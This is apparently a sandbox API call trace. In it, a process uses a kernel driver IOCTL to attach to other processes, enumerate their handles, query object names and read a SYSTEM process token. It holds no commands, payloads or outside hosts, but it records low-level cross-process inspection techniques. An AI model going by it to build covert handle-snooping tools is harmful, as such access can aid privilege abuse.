HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.811] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.811] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0131.811] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.811] PsAcquireProcessExitSynchronization () returned 0x0 [0131.812] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.812] ObReferenceObjectByHandle (in: Handle=0x3c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800308f070, HandleInformation=0x0) returned 0x0 [0131.812] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.812] PsReleaseProcessExitSynchronization () returned 0x2 [0131.812] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.812] ObQueryNameString (in: Object=0xfffffa800308f070, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.812] ObfDereferenceObject (Object=0xfffffa800308f070) returned 0x1 [0131.812] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.812] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.812] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0131.812] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.812] PsAcquireProcessExitSynchronization () returned 0x0 [0131.812] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.812] ObReferenceObjectByHandle (in: Handle=0x534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800343ed10, HandleInformation=0x0) returned 0x0 [0131.812] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.812] PsReleaseProcessExitSynchronization () returned 0x2 [0131.812] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.812] ObQueryNameString (in: Object=0xfffffa800343ed10, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.812] ObfDereferenceObject (Object=0xfffffa800343ed10) returned 0x2 [0131.812] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.812] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.812] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.812] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.812] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.812] PsAcquireProcessExitSynchronization () returned 0x0 [0131.812] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.812] ObReferenceObjectByHandle (in: Handle=0x5a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031f0a80, HandleInformation=0x0) returned 0x0 [0131.813] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.813] PsReleaseProcessExitSynchronization () returned 0x2 [0131.813] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.813] ObQueryNameString (in: Object=0xfffffa80031f0a80, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.813] ObfDereferenceObject (Object=0xfffffa80031f0a80) returned 0x1 [0131.813] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.813] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.813] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.813] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.813] PsAcquireProcessExitSynchronization () returned 0x0 [0131.813] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.813] ObReferenceObjectByHandle (in: Handle=0x5b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80031ee8f0, HandleInformation=0x0) returned 0x0 [0131.813] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.813] PsReleaseProcessExitSynchronization () returned 0x2 [0131.813] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.813] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.813] ObfDereferenceObject (Object=0xfffffa80031ee8f0) returned 0x1 [0131.813] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.813] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.813] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.813] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0131.813] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.813] PsAcquireProcessExitSynchronization () returned 0x0 [0131.813] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.813] ObReferenceObjectByHandle (in: Handle=0x600, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010dc5b80, HandleInformation=0x0) returned 0x0 [0131.813] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.813] PsReleaseProcessExitSynchronization () returned 0x2 [0131.813] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.813] ObQueryNameString (in: Object=0xfffffa8010dc5b80, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.813] ObfDereferenceObject (Object=0xfffffa8010dc5b80) returned 0x2 [0131.813] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.814] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.814] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0xba, lpOverlapped=0x0) returned 1 [0131.814] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.814] PsAcquireProcessExitSynchronization () returned 0x0 [0131.814] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.814] ObReferenceObjectByHandle (in: Handle=0x608, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010dc5970, HandleInformation=0x0) returned 0x0 [0131.814] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.814] PsReleaseProcessExitSynchronization () returned 0x2 [0131.814] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.814] ObQueryNameString (in: Object=0xfffffa8010dc5970, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.814] ObfDereferenceObject (Object=0xfffffa8010dc5970) returned 0x2 [0131.814] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.814] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.814] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.814] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.814] PsAcquireProcessExitSynchronization () returned 0x0 [0131.814] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.814] ObReferenceObjectByHandle (in: Handle=0x724, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035681b0, HandleInformation=0x0) returned 0x0 [0131.814] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.814] PsReleaseProcessExitSynchronization () returned 0x2 [0131.814] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.814] ObQueryNameString (in: Object=0xfffffa80035681b0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.814] ObfDereferenceObject (Object=0xfffffa80035681b0) returned 0x2 [0131.814] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.814] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.814] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.814] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0131.814] PsLookupProcessByProcessId (in: ProcessId=0x1e0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.814] PsAcquireProcessExitSynchronization () returned 0x0 [0131.814] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.815] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8010307f20, HandleInformation=0x0) returned 0x0 [0131.815] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.815] PsReleaseProcessExitSynchronization () returned 0x2 [0131.815] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.815] ObQueryNameString (in: Object=0xfffffa8010307f20, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.815] ObfDereferenceObject (Object=0xfffffa8010307f20) returned 0x2 [0131.815] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.815] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.815] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.815] PsAcquireProcessExitSynchronization () returned 0x0 [0131.815] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.815] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800352e5a0, HandleInformation=0x0) returned 0x0 [0131.815] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.815] PsReleaseProcessExitSynchronization () returned 0x2 [0131.815] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.815] ObQueryNameString (in: Object=0xfffffa800352e5a0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.815] ObfDereferenceObject (Object=0xfffffa800352e5a0) returned 0x2 [0131.815] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.815] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.815] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.816] PsAcquireProcessExitSynchronization () returned 0x0 [0131.816] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.816] ObReferenceObjectByHandle (in: Handle=0x74c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023916f0, HandleInformation=0x0) returned 0x0 [0131.816] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.816] PsReleaseProcessExitSynchronization () returned 0x2 [0131.816] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.816] ObQueryNameString (in: Object=0xfffffa80023916f0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.816] ObfDereferenceObject (Object=0xfffffa80023916f0) returned 0x2 [0131.816] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.816] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.816] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.816] PsAcquireProcessExitSynchronization () returned 0x0 [0131.816] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.816] ObReferenceObjectByHandle (in: Handle=0x768, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80035a2b80, HandleInformation=0x0) returned 0x0 [0131.816] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.816] PsReleaseProcessExitSynchronization () returned 0x2 [0131.816] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.816] ObQueryNameString (in: Object=0xfffffa80035a2b80, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005000550) returned 0x0 [0131.816] ObfDereferenceObject (Object=0xfffffa80035a2b80) returned 0x1 [0131.816] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.816] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.817] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.817] PsAcquireProcessExitSynchronization () returned 0x0 [0131.817] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.817] ObReferenceObjectByHandle (in: Handle=0x89c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023c7580, HandleInformation=0x0) returned 0x0 [0131.817] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.817] PsReleaseProcessExitSynchronization () returned 0x2 [0131.817] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.817] ObQueryNameString (in: Object=0xfffffa80023c7580, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.817] ObfDereferenceObject (Object=0xfffffa80023c7580) returned 0x1 [0131.817] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.817] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.817] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.817] PsAcquireProcessExitSynchronization () returned 0x0 [0131.817] KeStackAttachProcess (in: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003055910, ApcState=0xfffff880050005d0) [0131.817] ObReferenceObjectByHandle (in: Handle=0x8e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80019bb3f0, HandleInformation=0x0) returned 0x0 [0131.817] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.817] PsReleaseProcessExitSynchronization () returned 0x2 [0131.817] ObfDereferenceObject (Object=0xfffffa8003055910) returned 0xd9 [0131.817] ObQueryNameString (in: Object=0xfffffa80019bb3f0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.818] ObfDereferenceObject (Object=0xfffffa80019bb3f0) returned 0x2 [0131.818] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.818] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.818] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0xc0 [0131.818] ObOpenObjectByPointer (in: Object=0xfffffa8003058b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800006d4) returned 0x0 [0131.818] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3f [0131.818] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800006d4, DesiredAccess=0x8, TokenHandle=0xfffffa800289e880 | out: TokenHandle=0xfffffa800289e880*=0xc8) returned 0x0 [0131.818] ZwClose (Handle=0xffffffff800006d4) returned 0x0 [0131.818] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.818] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0131.818] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0131.819] CloseHandle (hObject=0xc8) returned 1 [0131.820] CloseHandle (hObject=0xc0) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0131.820] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.820] PsAcquireProcessExitSynchronization () returned 0x0 [0131.820] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.820] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030867a0, HandleInformation=0x0) returned 0x0 [0131.820] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.820] PsReleaseProcessExitSynchronization () returned 0x2 [0131.820] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.820] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.820] ObfDereferenceObject (Object=0xfffffa80030867a0) returned 0x1 [0131.820] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.820] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.820] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.820] PsAcquireProcessExitSynchronization () returned 0x0 [0131.820] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.820] ObReferenceObjectByHandle (in: Handle=0x88, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003059550, HandleInformation=0x0) returned 0x0 [0131.820] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.820] PsReleaseProcessExitSynchronization () returned 0x2 [0131.820] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.820] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0131.820] ObfDereferenceObject (Object=0xfffffa8003059550) returned 0x1 [0131.820] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.820] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0131.820] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0131.820] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0131.820] PsLookupProcessByProcessId (in: ProcessId=0x1e8, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.821] PsAcquireProcessExitSynchronization () returned 0x0 [0131.821] KeStackAttachProcess (in: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8003058b30, ApcState=0xfffff880050005d0) [0131.821] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003107a00, HandleInformation=0x0) returned 0x0 [0131.821] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.821] PsReleaseProcessExitSynchronization () returned 0x2 [0131.821] ObfDereferenceObject (Object=0xfffffa8003058b30) returned 0x3d [0131.821] ObQueryNameString (in: Object=0xfffffa8003107a00, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.821] ObfDereferenceObject (Object=0xfffffa8003107a00) returned 0x1 [0131.821] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.821] 